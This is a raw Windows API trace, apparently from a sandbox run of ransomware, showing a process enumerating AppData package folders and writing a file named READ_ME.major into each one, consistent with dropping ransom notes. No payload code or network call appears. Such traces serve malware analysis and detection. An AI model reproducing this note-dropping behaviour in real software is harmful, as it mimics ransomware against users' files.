SetLastError (dwErrCode=0x0) [0200.084] FindNextFileW (in: hFindFile=0x30fb780, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3081f21b, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3081f21b, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3084541f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0200.084] SetLastError (dwErrCode=0x0) [0200.084] GetLastError () returned 0x0 [0200.084] SetLastError (dwErrCode=0x0) [0200.084] GetLastError () returned 0x0 [0200.084] SetLastError (dwErrCode=0x0) [0200.084] FindNextFileW (in: hFindFile=0x30fb780, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3081f21b, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3081f21b, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3084541f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0200.084] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\TempState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x765b92ef, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd01a8a59, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3084541f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x30fb7c0 [0200.085] SetLastError (dwErrCode=0x12) [0200.085] GetLastError () returned 0x12 [0200.085] SetLastError (dwErrCode=0x12) [0200.085] GetLastError () returned 0x12 [0200.085] SetLastError (dwErrCode=0x12) [0200.085] FindNextFileW (in: hFindFile=0x30fb7c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x765b92ef, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd01a8a59, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3084541f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.085] SetLastError (dwErrCode=0x12) [0200.085] GetLastError () returned 0x12 [0200.085] SetLastError (dwErrCode=0x12) [0200.085] GetLastError () returned 0x12 [0200.085] SetLastError (dwErrCode=0x12) [0200.085] FindNextFileW (in: hFindFile=0x30fb7c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3084541f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3084541f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3084541f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0200.085] SetLastError (dwErrCode=0x12) [0200.085] GetLastError () returned 0x12 [0200.085] SetLastError (dwErrCode=0x12) [0200.085] GetLastError () returned 0x12 [0200.085] SetLastError (dwErrCode=0x12) [0200.085] FindNextFileW (in: hFindFile=0x30fb7c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3084541f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3084541f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3084541f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0200.085] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8156d87b, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x36b47a04, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3084541f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x30fb400 [0200.086] SetLastError (dwErrCode=0x12) [0200.086] GetLastError () returned 0x12 [0200.086] SetLastError (dwErrCode=0x12) [0200.086] GetLastError () returned 0x12 [0200.086] SetLastError (dwErrCode=0x12) [0200.086] FindNextFileW (in: hFindFile=0x30fb400, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8156d87b, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x36b47a04, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3084541f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.086] SetLastError (dwErrCode=0x12) [0200.086] GetLastError () returned 0x12 [0200.086] SetLastError (dwErrCode=0x12) [0200.086] GetLastError () returned 0x12 [0200.086] SetLastError (dwErrCode=0x12) [0200.086] FindNextFileW (in: hFindFile=0x30fb400, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc23ad9f8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd01f6699, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc23d3cb7, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AppCache", cAlternateFileName="")) returned 1 [0200.086] SetLastError (dwErrCode=0x12) [0200.086] GetLastError () returned 0x12 [0200.086] SetLastError (dwErrCode=0x12) [0200.086] GetLastError () returned 0x12 [0200.086] SetLastError (dwErrCode=0x12) [0200.086] SetLastError (dwErrCode=0x12) [0200.087] GetLastError () returned 0x12 [0200.087] SetLastError (dwErrCode=0x12) [0200.087] SetLastError (dwErrCode=0x12) [0200.087] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c4 [0200.087] WriteFile (in: hFile=0x10c4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0200.088] CloseHandle (hObject=0x10c4) returned 1 [0200.089] FindNextFileW (in: hFindFile=0x30fb400, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x81593ae3, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x1bf62139, ftLastAccessTime.dwHighDateTime=0x1d4ae7c, ftLastWriteTime.dwLowDateTime=0x1bf62139, ftLastWriteTime.dwHighDateTime=0x1d4ae7c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetCache", cAlternateFileName="INETCA~1")) returned 1 [0200.089] SetLastError (dwErrCode=0x0) [0200.089] GetLastError () returned 0x0 [0200.089] SetLastError (dwErrCode=0x0) [0200.089] GetLastError () returned 0x0 [0200.089] SetLastError (dwErrCode=0x0) [0200.089] SetLastError (dwErrCode=0x0) [0200.089] GetLastError () returned 0x0 [0200.089] SetLastError (dwErrCode=0x0) [0200.089] SetLastError (dwErrCode=0x0) [0200.089] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\INetCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\inetcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c4 [0200.091] WriteFile (in: hFile=0x10c4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0200.091] CloseHandle (hObject=0x10c4) returned 1 [0200.092] FindNextFileW (in: hFindFile=0x30fb400, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x81593ae3, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x466eaf94, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x466eaf94, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetCookies", cAlternateFileName="INETCO~1")) returned 1 [0200.092] SetLastError (dwErrCode=0x0) [0200.092] GetLastError () returned 0x0 [0200.092] SetLastError (dwErrCode=0x0) [0200.092] GetLastError () returned 0x0 [0200.092] SetLastError (dwErrCode=0x0) [0200.092] SetLastError (dwErrCode=0x0) [0200.092] GetLastError () returned 0x0 [0200.092] SetLastError (dwErrCode=0x0) [0200.092] SetLastError (dwErrCode=0x0) [0200.092] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\INetCookies\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\inetcookies\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c4 [0200.095] WriteFile (in: hFile=0x10c4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0200.096] CloseHandle (hObject=0x10c4) returned 1 [0200.097] FindNextFileW (in: hFindFile=0x30fb400, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x81593ae3, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd0316e46, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x81593ae3, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetHistory", cAlternateFileName="INETHI~1")) returned 1 [0200.097] SetLastError (dwErrCode=0x0) [0200.097] GetLastError () returned 0x0 [0200.097] SetLastError (dwErrCode=0x0) [0200.097] GetLastError () returned 0x0 [0200.097] SetLastError (dwErrCode=0x0) [0200.097] SetLastError (dwErrCode=0x0) [0200.097] GetLastError () returned 0x0 [0200.097] SetLastError (dwErrCode=0x0) [0200.097] SetLastError (dwErrCode=0x0) [0200.097] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\INetHistory\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\inethistory\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c4 [0200.098] WriteFile (in: hFile=0x10c4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0200.099] CloseHandle (hObject=0x10c4) returned 1 [0200.099] FindNextFileW (in: hFindFile=0x30fb400, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x823493b7, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd036400a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc487bf98, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0200.099] SetLastError (dwErrCode=0x0) [0200.099] GetLastError () returned 0x0 [0200.099] SetLastError (dwErrCode=0x0) [0200.099] GetLastError () returned 0x0 [0200.099] SetLastError (dwErrCode=0x0) [0200.099] FindNextFileW (in: hFindFile=0x30fb400, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3084541f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3084541f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3084541f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0200.099] SetLastError (dwErrCode=0x0) [0200.099] GetLastError () returned 0x0 [0200.099] SetLastError (dwErrCode=0x0) [0200.099] GetLastError () returned 0x0 [0200.099] SetLastError (dwErrCode=0x0) [0200.099] FindNextFileW (in: hFindFile=0x30fb400, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81593ae3, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd040b5ed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x81593ae3, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Temp", cAlternateFileName="")) returned 1 [0200.099] SetLastError (dwErrCode=0x0) [0200.099] GetLastError () returned 0x0 [0200.099] SetLastError (dwErrCode=0x0) [0200.099] GetLastError () returned 0x0 [0200.100] SetLastError (dwErrCode=0x0) [0200.100] FindNextFileW (in: hFindFile=0x30fb400, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81593ae3, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd040b5ed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x81593ae3, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Temp", cAlternateFileName="")) returned 0 [0200.100] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x814fb197, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x36b93ea6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3084541f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x30fb800 [0200.100] SetLastError (dwErrCode=0x12) [0200.100] GetLastError () returned 0x12 [0200.100] SetLastError (dwErrCode=0x12) [0200.100] GetLastError () returned 0x12 [0200.100] SetLastError (dwErrCode=0x12) [0200.100] FindNextFileW (in: hFindFile=0x30fb800, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x814fb197, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x36b93ea6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3084541f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.101] SetLastError (dwErrCode=0x12) [0200.101] GetLastError () returned 0x12 [0200.101] SetLastError (dwErrCode=0x12) [0200.101] GetLastError () returned 0x12 [0200.101] SetLastError (dwErrCode=0x12) [0200.101] FindNextFileW (in: hFindFile=0x30fb800, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3230f148, ftCreationTime.dwHighDateTime=0x1d32716, ftLastAccessTime.dwLowDateTime=0xea526dce, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xea526dce, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Indexed DB", cAlternateFileName="INDEXE~1")) returned 1 [0200.101] SetLastError (dwErrCode=0x12) [0200.101] GetLastError () returned 0x12 [0200.101] SetLastError (dwErrCode=0x12) [0200.101] GetLastError () returned 0x12 [0200.101] SetLastError (dwErrCode=0x12) [0200.101] SetLastError (dwErrCode=0x12) [0200.101] GetLastError () returned 0x12 [0200.101] SetLastError (dwErrCode=0x12) [0200.101] SetLastError (dwErrCode=0x12) [0200.101] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c8 [0200.105] WriteFile (in: hFile=0x10c8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0200.106] CloseHandle (hObject=0x10c8) returned 1 [0200.107] FindNextFileW (in: hFindFile=0x30fb800, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3084541f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3084541f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3086b69d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0200.107] SetLastError (dwErrCode=0x0) [0200.107] GetLastError () returned 0x0 [0200.107] SetLastError (dwErrCode=0x0) [0200.107] SetLastError (dwErrCode=0x0) [0200.107] FindNextFileW (in: hFindFile=0x30fb800, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3084541f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3084541f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3086b69d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0200.107] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x814d4f06, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd04837c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3086b69d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x30fb480 [0200.107] SetLastError (dwErrCode=0x12) [0200.107] GetLastError () returned 0x12 [0200.107] SetLastError (dwErrCode=0x12) [0200.107] GetLastError () returned 0x12 [0200.107] SetLastError (dwErrCode=0x12) [0200.107] FindNextFileW (in: hFindFile=0x30fb480, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x814d4f06, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd04837c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3086b69d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.108] SetLastError (dwErrCode=0x12) [0200.108] GetLastError () returned 0x12 [0200.108] SetLastError (dwErrCode=0x12) [0200.108] GetLastError () returned 0x12 [0200.108] SetLastError (dwErrCode=0x12) [0200.108] FindNextFileW (in: hFindFile=0x30fb480, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3086b69d, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3086b69d, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3086b69d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0200.108] SetLastError (dwErrCode=0x12) [0200.108] GetLastError () returned 0x12 [0200.108] SetLastError (dwErrCode=0x12) [0200.108] SetLastError (dwErrCode=0x12) [0200.108] FindNextFileW (in: hFindFile=0x30fb480, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3086b69d, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3086b69d, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3086b69d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0200.108] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x814d4f06, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x1edc172b, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x3086b69d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x30fb180 [0200.108] SetLastError (dwErrCode=0x12) [0200.108] GetLastError () returned 0x12 [0200.108] SetLastError (dwErrCode=0x12) [0200.108] GetLastError () returned 0x12 [0200.108] SetLastError (dwErrCode=0x12) [0200.109] FindNextFileW (in: hFindFile=0x30fb180, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x814d4f06, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x1edc172b, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x3086b69d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.109] SetLastError (dwErrCode=0x12) [0200.109] GetLastError () returned 0x12 [0200.109] SetLastError (dwErrCode=0x12) [0200.109] GetLastError () returned 0x12 [0200.109] SetLastError (dwErrCode=0x12) [0200.109] FindNextFileW (in: hFindFile=0x30fb180, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbccaaf2e, ftCreationTime.dwHighDateTime=0x1d32721, ftLastAccessTime.dwLowDateTime=0x97842c35, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x97842c35, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AppIconCache", cAlternateFileName="APPICO~1")) returned 1 [0200.109] SetLastError (dwErrCode=0x12) [0200.109] GetLastError () returned 0x12 [0200.109] SetLastError (dwErrCode=0x12) [0200.109] SetLastError (dwErrCode=0x12) [0200.109] SetLastError (dwErrCode=0x12) [0200.109] GetLastError () returned 0x12 [0200.109] SetLastError (dwErrCode=0x12) [0200.109] GetLastError () returned 0x12 [0200.109] SetLastError (dwErrCode=0x12) [0200.109] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10d0 [0200.113] WriteFile (in: hFile=0x10d0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0200.114] CloseHandle (hObject=0x10d0) returned 1 [0200.114] FindNextFileW (in: hFindFile=0x30fb180, 